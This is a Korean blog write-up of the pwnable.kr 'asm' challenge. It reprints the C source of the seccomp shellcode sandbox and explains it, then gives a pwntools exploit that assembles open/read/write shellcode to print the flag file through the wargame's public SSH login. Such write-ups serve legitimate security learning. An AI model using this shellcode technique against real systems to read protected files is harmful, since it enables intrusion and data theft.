#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
mmap으로 메모리 맵을 생성해준다.
stub이 뭐하는 코드인지 보니,
레지스터 값을 다 0으로 초기화시킨다.
그 뒤에 우리가 shellcode를 작성하는 것이다.
chroot("/home/asm_pwn")
: 루트 디렉토리를 /home/asm_pwn으로 설정하고 따라서 우리는 이 아래의 파일들만 접근이 가능해진다.
sandbox() 함수는 seccomp을 설정(?)한다. 즉, system call을 통해 open, read, write, exit를 제외한 다른 system call을 한다면 SIGKILL로 프로세스를 종료시킨다.
shellcode를 한번도 짜본 적이 없어서 감이 하나도 안잡혔다..
pwntool의 shellcraft라는 tool을 이용하면 shellcode를 쉽게 짤 수 있다.
Exploit Code
from pwn import *
context(arch='amd64', os='linux')
filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'
shellcode = ""
shellcode += shellcraft.pushstr(filename)
shellcode += shellcraft.open('rsp', 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
s = ssh(user='asm',host='pwnable.kr',port=2222,password='guest')
conn = s.connect_remote('localhost', 9026)
conn.recvuntil("give me your x64 shellcode:")
conn.sendline(asm(shellcode))
conn.interactive()
Capture the Flag
'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글
collision (0) | 2020.03.07 |
---|---|
coin1 (0) | 2020.03.07 |
cmd2 (0) | 2020.03.07 |
cmd1 (0) | 2020.03.07 |
bof (0) | 2020.03.07 |